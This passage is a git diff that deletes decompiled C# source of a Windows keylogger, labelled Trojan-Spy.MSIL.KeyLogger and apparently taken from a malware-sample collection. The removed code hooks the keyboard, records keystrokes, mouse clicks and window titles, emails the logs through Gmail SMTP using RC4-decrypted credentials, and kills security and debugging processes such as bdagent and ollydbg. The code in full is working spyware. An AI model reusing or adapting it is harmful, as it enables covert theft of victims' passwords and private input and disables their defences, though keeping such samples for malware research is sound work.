if (this.shift) - { - this.innerz666.Text += "#"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "3"; - } - } - else if (Key == Keys.D4) - { - if (this.shift) - { - this.innerz666.Text += "$"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "4"; - } - } - else if (Key == Keys.D5) - { - if (this.shift) - { - this.innerz666.Text += "%"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "5"; - } - } - else if (Key == Keys.D6) - { - if (this.shift) - { - this.innerz666.Text += "^"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "6"; - } - } - else if (Key == Keys.D7) - { - if (this.shift) - { - this.innerz666.Text += "&"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "7"; - } - } - else if (Key == Keys.D8) - { - if (this.shift) - { - this.innerz666.Text += "*"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "8"; - } - } - else if (Key == Keys.D9) - { - if (this.shift) - { - this.innerz666.Text += "9"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "("; - } - } - else if (Key == Keys.OemSemicolon) - { - if (this.shift) - { - this.innerz666.Text += ":"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ";"; - } - } - else if (Key == Keys.OemPeriod) - { - if (this.shift) - { - this.innerz666.Text += ">"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "."; - } - } - else if (Key == Keys.OemQuotes) - { - if (this.shift) - { - this.innerz666.Text += "\""; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "'"; - } - } - else if (Key == Keys.OemOpenBrackets) - { - if (this.shift) - { - this.innerz666.Text += "{"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "["; - } - } - else if (Key == Keys.OemCloseBrackets) - { - if (this.shift) - { - this.innerz666.Text += "}"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "]"; - } - } - else if (Key == Keys.Oemcomma) - { - if (this.shift) - { - this.innerz666.Text += "<"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ","; - } - } - else if (Key == Keys.OemMinus) - { - if (this.shift) - { - this.innerz666.Text += "_"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "-"; - } - } - else if (Key == Keys.Oemplus) - { - if (this.shift) - { - this.innerz666.Text += "+"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "="; - } - } - else if (Key == Keys.OemQuestion) - { - if (this.shift) - { - this.innerz666.Text += "?"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "/"; - } - } - else if (Key == Keys.OemPipe) - { - if (this.shift) - { - this.innerz666.Text += "|"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "\\"; - } - } - else if (Key == Keys.Oemtilde) - { - if (this.shift) - { - this.innerz666.Text += "~"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "`"; - } - } - else if (Key == Keys.Tab) - { - this.innerz666.Text += "[tab]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Subtract) - this.innerz666.Text += "-"; - else if (Key == Keys.Capital) - this.innerz666.Text += "[caps]"; - else if (Key == Keys.Space) - this.innerz666.Text += " "; - else if (Key == Keys.Add) - this.innerz666.Text += "+"; - else if (Key == Keys.Back) - this.innerz666.Text += "[<]"; - else if (Key == Keys.LControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.RControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Decimal) - this.innerz666.Text += "."; - else if (Key == Keys.Delete) - this.innerz666.Text += "[<]"; - else if (Key == Keys.Divide) - this.innerz666.Text += "/"; - else if (Key == Keys.Down) - this.innerz666.Text += "[down]"; - else if (Key == Keys.End) - this.innerz666.Text += "[end]"; - else if (Key == Keys.Return) - { - this.innerz666.Text += "\r\n"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Escape) - { - this.innerz666.Text += "[esc]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Home) - this.innerz666.Text += "[home]"; - else if (Key == Keys.Insert) - this.innerz666.Text += "[insert]"; - else if (Key == Keys.Left) - this.innerz666.Text += "[<-]"; - else if (Key == Keys.Multiply) - this.innerz666.Text += "*"; - else if (Key == Keys.Next) - this.innerz666.Text += "[p-down]"; - else if (Key == Keys.Prior) - this.innerz666.Text += "[p-up]"; - else if (Key == Keys.Snapshot) - this.innerz666.Text += "[printscreen]"; - else if (Key == Keys.Return) - this.innerz666.Text += "\r\n"; - else if (Key == Keys.Scroll) - this.innerz666.Text += "[scroll]"; - else if (Key == Keys.Up) - this.innerz666.Text += "[up]"; - else if (Key == Keys.Right) - this.innerz666.Text += "[->]"; - else if (Key == Keys.Pause) - this.innerz666.Text += "[pause]"; - else if (Key == Keys.F1) - this.innerz666.Text += "[F1]"; - else if (Key == Keys.F2) - this.innerz666.Text += "[F2]"; - else if (Key == Keys.F3) - this.innerz666.Text += "[F3]"; - else if (Key == Keys.F4) - { - this.innerz666.Text += "[F4]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.F5) - this.innerz666.Text += "[F5]"; - else if (Key == Keys.F6) - this.innerz666.Text += "[F6]"; - else if (Key == Keys.F7) - this.innerz666.Text += "[F7]"; - else if (Key == Keys.F8) - this.innerz666.Text += "[F8]"; - else if (Key == Keys.F9) - this.innerz666.Text += "[F9]"; - else if (Key == Keys.F10) - this.innerz666.Text += "[F10]"; - else if (Key == Keys.F11) - this.innerz666.Text += "[F11]"; - else if (Key == Keys.F12) - this.innerz666.Text += "[F12]"; - else if (Key == Keys.F13) - this.innerz666.Text += "[F13]"; - else if (Key == Keys.F14) - this.innerz666.Text += "[F14]"; - else if (Key == Keys.F15) - this.innerz666.Text += "[F15]"; - else if (Key == Keys.NumPad0) - this.innerz666.Text += "0"; - else if (Key == Keys.NumPad1) - this.innerz666.Text += "1"; - else if (Key == Keys.NumPad2) - this.innerz666.Text += "2"; - else if (Key == Keys.NumPad3) - this.innerz666.Text += "3"; - else if (Key == Keys.NumPad4) - this.innerz666.Text += "4"; - else if (Key == Keys.NumPad5) - this.innerz666.Text += "5"; - else if (Key == Keys.NumPad6) - this.innerz666.Text += "6"; - else if (Key == Keys.NumPad7) - this.innerz666.Text += "7"; - else if (Key == Keys.NumPad8) - this.innerz666.Text += "8"; - else if (Key == Keys.NumPad9) - { - this.innerz666.Text += "9"; - } - else - { - if (Key != Keys.NumLock) - return; - this.innerz666.Text += "[numlock]"; - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vkey); - - private void Timer2_Tick(object sender, EventArgs e) - { - if (!MyProject.Computer.Network.IsAvailable) - return; - try - { - this.esendz666.Text = Form1.rc4(this.interz666.Text, "9pz666"); - try - { - this.esendx666.Text = Form1.rc4(this.interx666.Text, "9pz667"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new SmtpClient() - { - Host = "smtp.gmail.com", - Port = Conversions.ToInteger("587"), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.esendz666.Text, this.esendx666.Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.esendz666.Text), - To = { - this.esendz666.Text - }, - Body = this.innerz666.Text, - Subject = "Lethal Keylogs" - }); - this.innerz666.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string rc4(string message, string esendx666word) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = esendx666word.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = esendx666word.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (Form1.GetAsyncKeyState(2L) == -32767) - { - this.innerz666.Text += "[RB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - } - if (Form1.GetAsyncKeyState(1L) != -32767) - return; - this.innerz666.Text += "[LB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - - private void Timer3_Tick(object sender, EventArgs e) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(this.check9, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("sample"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check10, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("outpost"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check11, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("npfmsg"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check12, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("bdagent"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check18, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("keyscrambler"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check21, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("ollydbg"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyApplication.cs deleted file mode 100644 index 354fa9ed..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyApplication -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyComputer.cs deleted file mode 100644 index 26635068..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyComputer -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyProject.cs deleted file mode 100644 index f96ab02b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyProject -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettings.cs deleted file mode 100644 index 49c794bb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettings.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettings -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - - [UserScopedSetting] - [DefaultSettingValue("True")] - [DebuggerNonUserCode] - public bool runonce - { - get => Conversions.ToBoolean(this[nameof (runonce)]); - set => this[nameof (runonce)] = (object) value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettingsProperty.cs 